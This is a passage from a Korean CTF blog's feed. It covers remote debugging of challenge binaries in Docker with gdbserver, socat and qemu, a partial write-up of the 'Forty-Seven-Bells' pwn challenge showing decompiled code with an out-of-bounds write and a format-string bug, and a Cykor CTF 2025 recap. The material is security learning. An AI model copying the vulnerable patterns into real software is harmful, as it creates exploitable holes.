</ol>]]></content><author><name>cityofwonder</name></author><category term="📂/etc" /><category term="pwn" /><category term="how_to" /><category term="debugging" /><category term="tools" /><summary type="html"><![CDATA[0. 📍 개요 기존의 docker 내부 process에 대해, WSL root 계정으로 gdb-pwndbg -p PID 로 attach하는 방식이 더 이상 유효하지 않아 새로운 방법을 찾아보았다. 근데 왜 안 되는거지? 기존에 내가 썼던 방법은 🧷 [로되리안의 해결방법 1] https://0nehundred4ndt3n.tistory.com/7 이었다. 1. Docker, gdbserver - CykorCTF2025-pwn-2-dbfs dockerfile setting + run, exec 보통 로컬에서 p.remote가 가능하게 하기 위해, 제공되는 dockerfile은 EXPOSE nnnn 포트를 하나 열어둔다. 여기서 PORT 하나 더 추가 + apt intsll -y gdbserver을 하도록 docker-compose-debug.yaml을 커스텀해준다. services: dbfs-debug: image: ubuntu:24.04@sha256:4fdf0125919d24aec972544669dcd7d6a26a8ad7e6561c73d5549bd6db258ac2 ports: - "22222:22222" - "1234:1234" volumes: - ./client:/app/client - ./flag:/flag privileged: true stdin_open: true tty: true command: bash -c " apt update &amp;&amp; apt install -y gdbserver &amp;&amp; chmod +x /app/client &amp;&amp; mkdir -p /tmp/dbfs-test &amp;&amp; gdbserver :1234 /app/client /tmp/dbfs-test 완료되었다면 아래를 실행한다. docker-compose -f docker-compose-debug.yaml up .yaml이 아닌 Dockerfile인 경우 아래를 참고한다. Dockerfile 기준 docker build -f Dockerfile.debug -t cydf_debug . docker run -it --rm -p 7183:7183 -p 1234:1234 --cap-add=SYS_PTRACE //opt1 docker run -d -p 7183:7183 --cap-add=SYS_PTRACE --name cydf cydf_debug sleep infinity //opt2 이렇게 하면 터미널이 열리지 않은 것 처럼 보여도, socat이 이미 듣고 있으므로 pwntools를 통해 p.remote(localhost, 7183)을 해주면 바이너리가 열린다. 추가로 docker 터미널을 열어주자. docker exec -d cydf bash -c 'socat -T 300 TCP-LISTEN:7183,reuseaddr,fork EXEC:./CYDF_Average' 이렇게 docker 터미널을 열었다면 socat으로 listening 상태를 만들어주어야한다. 열어두기로 정한 포트로 통신이 들어오면 바이너리를 실행하는식. socat TCP-LISTEN:22222,reuseaddr,fork EXEC:'/app/client /tmp/dbfs-test' &amp; localhost에 pwntools로 remote 걸기 from pwn import * p = remote('localhost', 22222) pause() # 여기서 멈춤 - gdb attach 할 시간 p.sendlineafter(b'dbfs&gt; ', b'SET AAA set') # ... 익스 코드 최상단에 위와 같이 작성한다. 이 때 유의하여야할 점은, 1-1 단계에서 docker를 만들면서 EXPOSE한 두 개 포트 가운데 하나에 해당하는 포트번호를 적어주어야 한단 것이다. 그리고 pause()를 필수로 걸어줘야 한다. python 스크립트 실행 이후에 디버거를 붙이기 때문에, pause없이 이후 익스플로잇을 실행하게 되면 디버거에서 적절한 관찰이 어려울 수 있다. docker에서 gdbserver 열고 local에서 gdb-pwndbg로 target remote $docker&gt; gdbserver :1234 --attach $(pgrep -n client) 위 스크립트는 socat으로 파이너리가 실행중인 상태가 아니면 작동하지 않는다. $local&gt; gdb-pwndbg ./client $pwndbg&gt; target remote localhost:1234 $pwndbg&gt; b *handle_info + 0x20d $pwndbg&gt; c #... (opt) tmp 디렉터리 초기화 socat이 예상 외의 오류를 낸다면 아래와 같이 docker 내에서 socat을 다시 시작할 수 있다. $docker&gt; pkill socat $docker&gt; rm -rf /tmp/dbfs-test $docker&gt; mkdir -p /tmp/dbfs-test $docker&gt; socat TCP-LISTEN:22222,reuseaddr,fork EXEC:'/app/client /tmp/dbfs-test' &amp; 2. qemu-user-static + ARM + pwndbg/gef - 내부CTF-pwn-forty-seven-bells 고마워... 동기가 만든 문제인데, 1번의 방법으론 디버깅이 되지 않기 때문에 들고왔다. 출처로 출제자의 깃헙을 첨부한다. amethyst0225's github https://github.com/amethyst0225 qemu-user-static 설치, gdbinit.py 찾기 sudo apt install qemu-user-static # pwndbg 경로 찾기 find ~ -name "gdbinit.py" 2&gt;/dev/null | grep pwndbg # gef 경로 찾기 find ~ -name "gef.py" 2&gt;/dev/null pwndbg, gef 모두 가능하기 때문에 비교적 편한 것으로 진행하면 된다. pwndbg의 경우 …/pwndbg/gdbinit.py로 출력되는 경로를 복사해둔다. exploit code 실행 with qemu server from pwn import * context.arch = 'arm' context.bits = 32 # 로컬 디버깅용 p = process(["qemu-arm-static", "-g", "1234", "-L", "/usr/arm-linux-gnueabihf", "./prob"]) # pause() 대신 gdb가 붙을 시간 sleep(1) # 터미널 2에서 gdb-multiarch ... target remote :1234 실행 pause() # gdb 붙인 후 엔터 # 익스 진행... 위 코드를 실행한다. 바이너리, 사용할 포트 번호에 따라 대동소이할 수 있다. gdb-multiarch using pwndbg를 프로세스에 attach하기 gdb-multiarch -q \ -ex "source /home/jshrb/pwndbg/gdbinit.py" \ -ex "set architecture arm" \ -ex "target remote localhost:1234" \ -ex "file ./prob" ARM attach 성공한 모습]]></summary></entry><entry><title type="html">[pwn-wargame 02.] 내부CTF2025-🎅Forty-seven-bells🎄 문제풀이</title><link href="https://cityofwonder.github.io/2025/12/09/3pwn-Forty-seven-bells/" rel="alternate" type="text/html" title="[pwn-wargame 02.] 내부CTF2025-🎅Forty-seven-bells🎄 문제풀이" /><published>2025-12-09T00:00:00+00:00</published><updated>2025-12-09T00:00:00+00:00</updated><id>https://cityofwonder.github.io/2025/12/09/3pwn-Forty-seven-bells</id><content type="html" xml:base="https://cityofwonder.github.io/2025/12/09/3pwn-Forty-seven-bells/"><![CDATA[<details>
<summary>🔸[내부CTF2025-pwn]Forty-Seven-Bells</summary>

<div class="toggle-content">
    <div class="box-note">

💡 문제 출처
<div style="border: 1px solid #ddd; border-radius: 8px; padding: 15px; margin: 10px 0;">
  <a href="https://github.com/amethyst0225" target="_blank">
    <strong>amethyst0225's github</strong><br />
    <span style="color: gray; font-size: 0.9em;">https://github.com/amethyst0225</span>
  </a>
</div>

</div>
    <details>
<summary>문제 구조</summary>
<div class="toggle-content">

        <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>C:.
│  Dockerfile
│  flag
│  get-docker.sh
│  libprob.so
│  prob
│  
├─for_user
└─__MACOSX
    │  ._for_user
    │  
    └─for_user
            ._Dockerfile
            ._flag
            ._libprob.so
            ._prob
</code></pre></div>        </div>

      </div>
</details>

  </div>
</details>

<div class="box-warning">
💡 <strong>전체 로드맵</strong><br />
<figure style="text-align: center;">
    <img src="/assets/images/2025-12-10/KakaoTalk_20251210_022210403.jpg" alt="CykorCTF2025-asterisk 풀이 전체 로드맵" />
    <figcaption style="font-size: 0.9em; color: gray; margin-top: 5px;">CykorCTF2025-asterisk 풀이 전체 로드맵</figcaption>
</figure>
</div>
<hr />
<h2 id="1--premitive---static-analysis">1. <span class="highlight-blue"> Premitive - Static Analysis</span></h2>
<p><del>시험공부하다가 너무 졸려서 적는 롸업..</del><br />
<del>탈모탈모빔,, 교수님께서 답장이 오질않는다</del></p>

<ol>
  <li>,,,
    <figure style="text-align: center;">
   <img src="/assets/images/2025-12-12/20251212_034549.png" alt="전체 함수 목록 확인: main, _start, _init, _fini 표준 진입점" />
   <figcaption style="font-size: 0.9em; color: gray; margin-top: 5px;">전체 함수 목록 확인: main, _start, _init, _fini 표준 진입점</figcaption>
 </figure>

    <figure style="text-align: center;">
   <img src="/assets/images/2025-12-12/20251212_034926.png" alt="main 함수 확인: dlopen, dlsym, dlerror 동적 라이브러리 로" />
   <figcaption style="font-size: 0.9em; color: gray; margin-top: 5px;">main 함수 확인: dlopen, dlsym, dlerror 동적 라이브러리 로딩</figcaption>
 </figure>

    <ul>
      <li><code>fopen</code>, <code>fread</code>, <code>fclose</code> → 파일 I/O<br /></li>
      <li><code>mmap</code>, <code>srand</code>, <code>rand</code> -&gt; 메모리/랜덤
  위 사항들을 간주어봤을 때, 외부 .so 파일을 런타임에 로드함. 즉, <span class="highlight-yellow">prob은 로더일 뿐 실제 로직은 libprob.so<span class="text-red text-bold">(에서 로드해오는 challenge_main)</span>에 있음</span></li>
    </ul>

    <details>
 <summary>main 세부 사항</summary>
   <div class="toggle-content">
        <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>     <span class="c1">// 1. 랜덤 시드 설정 (urandom 또는 time)</span>
     <span class="n">fopen</span><span class="p">(</span><span class="s">"/dev/urandom"</span><span class="p">,</span> <span class="s">"r"</span><span class="p">);</span>
     <span class="n">srand</span><span class="p">(</span><span class="n">seed</span><span class="p">);</span>
     <span class="c1">// 2. 랜덤 패딩 mmap (자체 PIE 구현)</span>
     <span class="n">local_24</span> <span class="o">=</span> <span class="p">(</span><span class="n">rand</span><span class="p">()</span> <span class="o">&amp;</span> <span class="mh">0xff</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="mh">0xc</span><span class="p">;</span>  <span class="c1">// 0 ~ 255 페이지</span>
     <span class="n">mmap</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">local_24</span><span class="p">,</span> <span class="p">...);</span>

     <span class="c1">// 3. libprob.so 로드</span>
     <span class="n">dlopen</span><span class="p">(</span><span class="s">"./libprob.so"</span><span class="p">,</span> <span class="n">RTLD_NOW</span><span class="p">);</span>

     <span class="c1">// 4. challenge_main 함수 찾아서 호출</span>
     <span class="n">pcVar4</span> <span class="o">=</span> <span class="n">dlsym</span><span class="p">(</span><span class="n">handle</span><span class="p">,</span> <span class="s">"challenge_main"</span><span class="p">);</span>
     <span class="p">(</span><span class="o">*</span><span class="n">pcVar4</span><span class="p">)();</span>  <span class="c1">// challenge_main() 호출</span>
</code></pre></div>        </div>
      </div>
 </details>
  </li>
  <li>libprob.so의 challenge_main 분석
    <figure style="text-align: center;">
   <img src="/assets/images/2025-12-12/20251212_035844.png" alt="libprob.so의 함수 목록 확인" />
   <figcaption style="font-size: 0.9em; color: gray; margin-top: 5px;">libprob.so의 함수 목록 확인</figcaption>
 </figure>
    <figure style="text-align: center;">
   <img src="/assets/images/2025-12-12/20251212_125905.png" alt="readelf 명령어" />
   <figcaption style="font-size: 0.9em; color: gray; margin-top: 5px;">readelf 명령어</figcaption>
 </figure>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>   //libpro.so에서 custom된 함수들의 오프셋은 다음과 같음.
   present @ 0x74c
   santa @ 0x7f5  
   rudolph @ 0x825
   elves @ 0x899
   challenge_main @ 0x8e1
   prologue @ 0x799
</code></pre></div>    </div>
    <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>   <span class="kt">void</span> <span class="nf">challenge_main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>

   <span class="p">{</span>
     <span class="n">undefined4</span> <span class="n">local_14</span> <span class="p">[</span><span class="mi">2</span><span class="p">];</span>
        
     <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
     <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
     <span class="k">do</span> <span class="p">{</span>
       <span class="n">prologue</span><span class="p">();</span>
       <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="o">&amp;</span><span class="n">DAT_00010ae8</span><span class="p">,</span><span class="n">local_14</span><span class="p">);</span>
       <span class="n">getchar</span><span class="p">();</span>
       <span class="k">switch</span><span class="p">(</span><span class="n">local_14</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="p">{</span>
       <span class="k">case</span> <span class="mi">1</span><span class="p">:</span>
         <span class="n">santa</span><span class="p">();</span>
         <span class="k">break</span><span class="p">;</span>
       <span class="k">case</span> <span class="mi">2</span><span class="p">:</span>
         <span class="n">rudolph</span><span class="p">();</span>
         <span class="k">break</span><span class="p">;</span>
       <span class="k">case</span> <span class="mi">3</span><span class="p">:</span>
         <span class="n">elves</span><span class="p">();</span>
         <span class="k">break</span><span class="p">;</span>
       <span class="k">case</span> <span class="mi">4</span><span class="p">:</span>
         <span class="n">puts</span><span class="p">(</span><span class="s">"Bye!"</span><span class="p">);</span>
                       <span class="cm">/* WARNING: Subroutine does not return */</span>
         <span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
       <span class="nl">default:</span>
         <span class="n">puts</span><span class="p">(</span><span class="s">"Invalid choice!"</span><span class="p">);</span>
       <span class="p">}</span>
     <span class="p">}</span> <span class="k">while</span><span class="p">(</span> <span class="nb">true</span> <span class="p">);</span>
   <span class="p">}</span>

</code></pre></div>    </div>
    <p>challenge_main은 단순히 메뉴를 제공하는 함수</p>
  </li>
  <li>challenge_main의 각 메뉴가 되는 함수 분석
    <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="c1">//1일때 호출되는 santa()</span>
 <span class="kt">void</span> <span class="nf">santa</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>

 <span class="p">{</span>
   <span class="n">undefined1</span> <span class="n">auStack_c</span> <span class="p">[</span><span class="mi">4</span><span class="p">];</span>
      
   <span class="n">printf</span><span class="p">(</span><span class="s">"Index: "</span><span class="p">);</span>
   <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="o">&amp;</span><span class="n">DAT_00010ac0</span><span class="p">,</span><span class="n">auStack_c</span><span class="p">);</span>
   <span class="k">return</span><span class="p">;</span>
 <span class="p">}</span>
 <span class="c1">//2일 때 호출되는 roudolgh()</span>
 <span class="kt">void</span> <span class="nf">rudolph</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>

 <span class="p">{</span>
   <span class="n">undefined4</span> <span class="n">local_18</span><span class="p">;</span>
   <span class="kt">int</span> <span class="n">local_14</span> <span class="p">[</span><span class="mi">2</span><span class="p">];</span>
      
   <span class="n">printf</span><span class="p">(</span><span class="s">"Index: "</span><span class="p">);</span>
   <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="o">&amp;</span><span class="n">DAT_00010ac0</span><span class="p">,</span><span class="n">local_14</span><span class="p">);</span>
   <span class="n">printf</span><span class="p">(</span><span class="s">"Value: "</span><span class="p">);</span>
   <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="o">&amp;</span><span class="n">DAT_00010acc</span><span class="p">,</span><span class="o">&amp;</span><span class="n">local_18</span><span class="p">);</span>
   <span class="o">*</span><span class="p">(</span><span class="n">undefined4</span> <span class="o">*</span><span class="p">)(</span><span class="o">&amp;</span><span class="n">bss_buffer</span> <span class="o">+</span> <span class="n">local_14</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="o">=</span> <span class="n">local_18</span><span class="p">;</span>
   <span class="n">puts</span><span class="p">(</span><span class="s">"Written!"</span><span class="p">);</span>
   <span class="k">return</span><span class="p">;</span>
 <span class="p">}</span>

 <span class="c1">//3일 때 호출되는 elves()</span>
 <span class="kt">void</span> <span class="nf">elves</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>

 <span class="p">{</span>
   <span class="kt">char</span> <span class="n">acStack_108</span> <span class="p">[</span><span class="mi">255</span><span class="p">];</span>
   <span class="n">undefined1</span> <span class="n">local_9</span><span class="p">;</span>
      
   <span class="n">printf</span><span class="p">(</span><span class="s">"Message: "</span><span class="p">);</span>
   <span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">acStack_108</span><span class="p">,</span><span class="mh">0xff</span><span class="p">);</span>
   <span class="n">local_9</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
   <span class="n">printf</span><span class="p">(</span><span class="n">acStack_108</span><span class="p">);</span>
   <span class="n">putchar</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span>
   <span class="k">return</span><span class="p">;</span>
 <span class="p">}</span>

 <span class="c1">//4일 때는 puts(Bye!)</span>
</code></pre></div>    </div>
  </li>
</ol>]]></content><author><name>cityofwonder</name></author><category term="📂/wargame/pwn-wargame" /><category term="📂/CTF/etc" /><category term="pwn" /><category term="wargame" /><summary type="html"><![CDATA[🔸[내부CTF2025-pwn]Forty-Seven-Bells 💡 문제 출처 amethyst0225's github https://github.com/amethyst0225 문제 구조 C:. │ Dockerfile │ flag │ get-docker.sh │ libprob.so │ prob │ ├─for_user └─__MACOSX │ ._for_user │ └─for_user ._Dockerfile ._flag ._libprob.so ._prob 💡 전체 로드맵 CykorCTF2025-asterisk 풀이 전체 로드맵 1. Premitive - Static Analysis 시험공부하다가 너무 졸려서 적는 롸업.. 탈모탈모빔,, 교수님께서 답장이 오질않는다 ,,, 전체 함수 목록 확인: main, _start, _init, _fini 표준 진입점 main 함수 확인: dlopen, dlsym, dlerror 동적 라이브러리 로딩 fopen, fread, fclose → 파일 I/O mmap, srand, rand -&gt; 메모리/랜덤 위 사항들을 간주어봤을 때, 외부 .so 파일을 런타임에 로드함. 즉, prob은 로더일 뿐 실제 로직은 libprob.so(에서 로드해오는 challenge_main)에 있음 main 세부 사항 // 1. 랜덤 시드 설정 (urandom 또는 time) fopen("/dev/urandom", "r"); srand(seed); // 2. 랜덤 패딩 mmap (자체 PIE 구현) local_24 = (rand() &amp; 0xff) &lt;&lt; 0xc; // 0 ~ 255 페이지 mmap(NULL, local_24, ...); // 3. libprob.so 로드 dlopen("./libprob.so", RTLD_NOW); // 4. challenge_main 함수 찾아서 호출 pcVar4 = dlsym(handle, "challenge_main"); (*pcVar4)(); // challenge_main() 호출 libprob.so의 challenge_main 분석 libprob.so의 함수 목록 확인 readelf 명령어 //libpro.so에서 custom된 함수들의 오프셋은 다음과 같음. present @ 0x74c santa @ 0x7f5 rudolph @ 0x825 elves @ 0x899 challenge_main @ 0x8e1 prologue @ 0x799 void challenge_main(void) { undefined4 local_14 [2]; setvbuf(stdin,(char *)0x0,2,0); setvbuf(stdout,(char *)0x0,2,0); do { prologue(); __isoc99_scanf(&amp;DAT_00010ae8,local_14); getchar(); switch(local_14[0]) { case 1: santa(); break; case 2: rudolph(); break; case 3: elves(); break; case 4: puts("Bye!"); /* WARNING: Subroutine does not return */ exit(0); default: puts("Invalid choice!"); } } while( true ); } challenge_main은 단순히 메뉴를 제공하는 함수 challenge_main의 각 메뉴가 되는 함수 분석 //1일때 호출되는 santa() void santa(void) { undefined1 auStack_c [4]; printf("Index: "); __isoc99_scanf(&amp;DAT_00010ac0,auStack_c); return; } //2일 때 호출되는 roudolgh() void rudolph(void) { undefined4 local_18; int local_14 [2]; printf("Index: "); __isoc99_scanf(&amp;DAT_00010ac0,local_14); printf("Value: "); __isoc99_scanf(&amp;DAT_00010acc,&amp;local_18); *(undefined4 *)(&amp;bss_buffer + local_14[0]) = local_18; puts("Written!"); return; } //3일 때 호출되는 elves() void elves(void) { char acStack_108 [255]; undefined1 local_9; printf("Message: "); read(0,acStack_108,0xff); local_9 = 0; printf(acStack_108); putchar(10); return; } //4일 때는 puts(Bye!)]]></summary></entry><entry><title type="html">[Recap 01.] Cykor CTF 2025 Recap</title><link href="https://cityofwonder.github.io/2025/12/08/1CykorCTF2025-Recap/" rel="alternate" type="text/html" title="[Recap 01.] Cykor CTF 2025 Recap" /><published>2025-12-08T00:00:00+00:00</published><updated>2025-12-08T00:00:00+00:00</updated><id>https://cityofwonder.github.io/2025/12/08/1CykorCTF2025-Recap</id><content type="html" xml:base="https://cityofwonder.github.io/2025/12/08/1CykorCTF2025-Recap/"><![CDATA[<h2 id="-개요"><strong>📍 개요</strong></h2>

<div style="display: flex; gap: 10px; align-items: center;">
  <img src="/assets/images/2025-12-09/KakaoTalk_20251208_144034251.jpg" style="max-height: 50vh; width: auto;" />
  <img src="/assets/images/2025-12-09/KakaoTalk_20251208_144034251_01.jpg" style="max-height: 50vh; width: auto;" />
</div>

<p><br />갑자기 팀을 꾸려 나가게 됐다. 무려 첫번째 다인 squad 출전! 제대로 해본 CTF도 이제 두번째다.</p>

<figure style="text-align: center;">
  <img src="/assets/images/2025-12-09/20251208_144553.png" alt="이렇게 팀이 커질 줄 누가 알았겠냐고" />
  <figcaption style="font-size: 0.9em; color: gray; margin-top: 5px;">이렇게 팀이 커질 줄 누가 알았겠냐고</figcaption>
</figure>

<p>어쩌다 11명이 된 이 인력거 팟은.. 내가 “버스는 못 태워드리고 같이 인력거 끌어요~” 라고 한 말에서 출발했다.</p>

<p>정말 즐겜만 하자고 생각했는데 새벽에 막 플래그 딸랑말랑 끝날 시간은 가까워져 가니 초조하기도 하고, 욕심도 나고.. 그래도 다음엔 더 잘할 수 있겠다 싶었다!<span class="text-italic text-gray">(작고 귀여운 점수지만 다연이 잘했다고 두둔해준 굿.. 팀원.. 굿.. 지인.. 감동의 물결임)</span></p>

<p><img src="/assets/images/2025-12-09/KakaoTalk_20251208_155641636.jpg" alt="img.png" /></p>

<p>그런 의미에서 적는.. 다음엔 더 잘하기 위한 recap</p>

<h2 id="️-write-up"><strong>✏️ Write Up</strong></h2>

<p>solve 갯수가 작지만… 귀엽게 봐주자.
write up은 각 항목에 링크를 달아놨다!</p>

<ol>
  <li>대회 중에 solve 성공한 문제
    <ol>
      <li>[web] asterrisk</li>
      <li>[misc] baby dino</li>
    </ol>
  </li>
  <li>거의 solve인거 같은데 못 마친 문제
    <ol>
      <li>[pwn] dbfs</li>
      <li>[web] dbchat</li>
    </ol>
  </li>
  <li>손은 댔는데 진행률이 미미한 문제
    <ol>
      <li>[rev] ex-cute</li>
      <li>[crypto] ELWE</li>
      <li>[blockchain] random game</li>
    </ol>
  </li>
  <li>다른 사람이 solve했지만 다시 풀어보고 싶은 문제
    <ol>
      <li>[rev] nononono</li>
      <li>[pwn] GRAM</li>
      <li>[rev] Flag-Checker
        <ol>
          <li>🧷 [공식 write-up이 있다.]<a href="https://blog.cykor.kr/2025/10/Crew-CTF-2025-Flag-Checker">https://blog.cykor.kr/2025/10/Crew-CTF-2025-Flag-Checker</a></li>
        </ol>
      </li>
    </ol>
  </li>
  <li>디코 아카이빙에서 파묘
    <ol>
      <li>[web]selen1um</li>
      <li>[web]safe embed</li>
    </ol>
  </li>
</ol>

<p>생각보다 정말 손을 많이 댄 것 같다. 타율 2할이면 야구계에선 2군정도… 갈수있으니깐..ㅎㅎ</p>

<p>새삼 학교를 잘 왔다. 출제자들이 동기 내지 선배라니? 직접 물어볼 수 있다니? 너무 행복하고 감사한 하루!!</p>

<h2 id="️-기타-잡설"><strong>✏️ 기타 잡설</strong></h2>

<p>가장 잘 한 일은 <span class="highlight-green text-pink text-italic"><strong>원격 디버깅에 조금 더 친해진</strong></span> 것..<br /></p>

<p>🧷 [과거 로되리안에 호되게 당했던 나 1]<a href="https://dreamhack.io/forum/qna/4683">https://dreamhack.io/forum/qna/4683</a><br />
🧷 [과거 로되리안에 호되게 당했던 나 2]<a href="https://dreamhack.io/forum/qna/4756">https://dreamhack.io/forum/qna/4756</a><br /></p>

<p>이거 땜에 포너블과 한참 거리를 뒀었다. (patchelf, pwninit을 알고도 너무 거부감이 들어..) 그래서 한동안 Docker에서 socat을 열고, python script로 pid를 찾아 root권한의 WSL에서 gdb-pwndbg -p <PID>로 붙였다.<br /></PID></p>

<p>🧷 [로되리안의 해결방법 1]<a href="https://0nehundred4ndt3n.tistory.com/7">https://0nehundred4ndt3n.tistory.com/7</a><br />
🧷 [로되리안의 해결방법 2]<a href="https://blog.sechack.kr/136">https://blog.sechack.kr/136</a><br /></p>

<p>근데 최근 업데이트 된 docker의 정책에 의해서 위 방법이 어려워진 것 같다. 정확힌 모르겠는데</p>

<p>=&gt; PID 조회는 되고 seccomp 옵션을 줘도 디버거가 안붙게 바뀌었다가, 
=&gt; 이 CTF 하는 동안엔 PID가 아예 조회가 되지 않아서 보니 namespace가 달라서 전혀 조회가 안되는 것이라고 들었다. 
<span class="text-italic text-gray">(안타깝게도 나는 시스템 구조에 대한 이해는 전혀 없다..)</span></p>

<p>그래서 다른 포너들은 어떻게 로되리안을 해결하는진 모르겠다만, 나는 한동안 손을 떼고 외면하고있었는데 이번에 해낸것! 별거 아니지만 gdbserver와 socat을 이용하는 고전고전한 방법을 따랐다. 역시 나보다 똑똑한 <strong>선배님들의 툴</strong>을 쓰면 안될게 없다.</p>

<p>그리고 두번째로 잘한 건.. <span class="highlight-yellow text-blue text-bold">pwn 이외에 다른 문제에 손대본거 이번이 처음!!</span> 특히 web과 blockchain을 만지면서 와 이런게 있다고?? ㅇㅁㅇ… 의 연속이었다. 해킹의 지평은 너무나도 넓고 넓고 넓다.. <del>그만 넓어도 될 거 같기도 하면서</del> 평생 공부하며 살 수 있다는 것은 감사한 일이다.</p>

<p>조금 아쉬운 것은, 어떡하면 바이너리를 체계적으로, 필요한 정보만 읽을지 내재화된 순서가 전혀 없단 것이다. 수학문제를 풀 때 항상 맨 뒤에서부터 읽어서 구하는게 뭔지를 알고 갈피를 잡으라고 과외돌이들한테 얘기하곤 하는데, 뭐라할 입장이 아닌 것 같다. 결국 그런 노하우가 생기려면 풀이량이 받쳐줘야한다.</p>

<p><img src="/assets/images/2025-12-09/KakaoTalk_20251208_162034224.png" alt="img1.png" /></p>

<p>여하간 방학동안 또 많은 씨텝을 나가봐야지. 실력이 금방 늘 수 있는 좋은 기회인거 같다.</p>]]></content><author><name>cityofwonder</name></author><category term="📂/Recap" /><category term="📂/CTF/CykorCTF2025" /><category term="CTF" /><category term="Recap" /><category term="web" /><category term="pwn" /><category term="misc" /><category term="blockchain" /><summary type="html"><![CDATA[📍 개요 갑자기 팀을 꾸려 나가게 됐다. 무려 첫번째 다인 squad 출전! 제대로 해본 CTF도 이제 두번째다. 이렇게 팀이 커질 줄 누가 알았겠냐고 어쩌다 11명이 된 이 인력거 팟은.. 내가 “버스는 못 태워드리고 같이 인력거 끌어요~” 라고 한 말에서 출발했다. 정말 즐겜만 하자고 생각했는데 새벽에 막 플래그 딸랑말랑 끝날 시간은 가까워져 가니 초조하기도 하고, 욕심도 나고.. 그래도 다음엔 더 잘할 수 있겠다 싶었다!(작고 귀여운 점수지만 다연이 잘했다고 두둔해준 굿.. 팀원.. 굿.. 지인.. 감동의 물결임) 그런 의미에서 적는.. 다음엔 더 잘하기 위한 recap ✏️ Write Up solve 갯수가 작지만… 귀엽게 봐주자. write up은 각 항목에 링크를 달아놨다! 대회 중에 solve 성공한 문제 [web] asterrisk [misc] baby dino 거의 solve인거 같은데 못 마친 문제 [pwn] dbfs [web] dbchat 손은 댔는데 진행률이 미미한 문제 [rev] ex-cute [crypto] ELWE [blockchain] random game 다른 사람이 solve했지만 다시 풀어보고 싶은 문제 [rev] nononono [pwn] GRAM [rev] Flag-Checker 🧷 [공식 write-up이 있다.]https://blog.cykor.kr/2025/10/Crew-CTF-2025-Flag-Checker 디코 아카이빙에서 파묘 [web]selen1um [web]safe embed 생각보다 정말 손을 많이 댄 것 같다. 타율 2할이면 야구계에선 2군정도… 갈수있으니깐..ㅎㅎ 새삼 학교를 잘 왔다. 출제자들이 동기 내지 선배라니? 직접 물어볼 수 있다니? 너무 행복하고 감사한 하루!! ✏️ 기타 잡설 가장 잘 한 일은 원격 디버깅에 조금 더 친해진 것.. 🧷 [과거 로되리안에 호되게 당했던 나 1]https://dreamhack.io/forum/qna/4683 🧷 [과거 로되리안에 호되게 당했던 나 2]https://dreamhack.io/forum/qna/4756 이거 땜에 포너블과 한참 거리를 뒀었다. (patchelf, pwninit을 알고도 너무 거부감이 들어..) 그래서 한동안 Docker에서 socat을 열고, python script로 pid를 찾아 root권한의 WSL에서 gdb-pwndbg -p 로 붙였다. 🧷 [로되리안의 해결방법 1]https://0nehundred4ndt3n.tistory.com/7 🧷 [로되리안의 해결방법 2]https://blog.sechack.kr/136 근데 최근 업데이트 된 docker의 정책에 의해서 위 방법이 어려워진 것 같다. 정확힌 모르겠는데 =&gt; PID 조회는 되고 seccomp 옵션을 줘도 디버거가 안붙게 바뀌었다가, =&gt; 이 CTF 하는 동안엔 PID가 아예 조회가 되지 않아서 보니 namespace가 달라서 전혀 조회가 안되는 것이라고 들었다. (안타깝게도 나는 시스템 구조에 대한 이해는 전혀 없다..) 그래서 다른 포너들은 어떻게 로되리안을 해결하는진 모르겠다만, 나는 한동안 손을 떼고 외면하고있었는데 이번에 해낸것! 별거 아니지만 gdbserver와 socat을 이용하는 고전고전한 방법을 따랐다. 역시 나보다 똑똑한 선배님들의 툴을 쓰면 안될게 없다. 그리고 두번째로 잘한 건.. pwn 이외에 다른 문제에 손대본거 이번이 처음!! 특히 web과 blockchain을 만지면서 와 이런게 있다고?? ㅇㅁㅇ… 의 연속이었다. 해킹의 지평은 너무나도 넓고 넓고 넓다.. 그만 넓어도 될 거 같기도 하면서 평생 공부하며 살 수 있다는 것은 감사한 일이다. 조금 아쉬운 것은, 어떡하면 바이너리를 체계적으로, 필요한 정보만 읽을지 내재화된 순서가 전혀 없단 것이다. 수학문제를 풀 때 항상 맨 뒤에서부터 읽어서 구하는게 뭔지를 알고 갈피를 잡으라고 과외돌이들한테 얘기하곤 하는데, 뭐라할 입장이 아닌 것 같다. 결국 그런 노하우가 생기려면 풀이량이 받쳐줘야한다. 여하간 방학동안 또 많은 씨텝을 나가봐야지. 실력이 금방 늘 수 있는 좋은 기회인거 같다.]]></summary></entry><entry><title type="html">[web-wargame 01.] CykorCTF2025-asterisk 문제풀이</title><link href="https://cityofwonder.github.io/2025/12/08/2CykorCTF2025-asterrisk/" rel="alternate" type="text/html" title="[web-wargame 01.] CykorCTF2025-asterisk 문제풀이" /><published>2025-12-08T00:00:00+00:00</published><updated>2025-12-08T00:00:00+00:00</updated><id>https://cityofwonder.github.io/2025/12/08/2CykorCTF2025-asterrisk</id><content type="html" 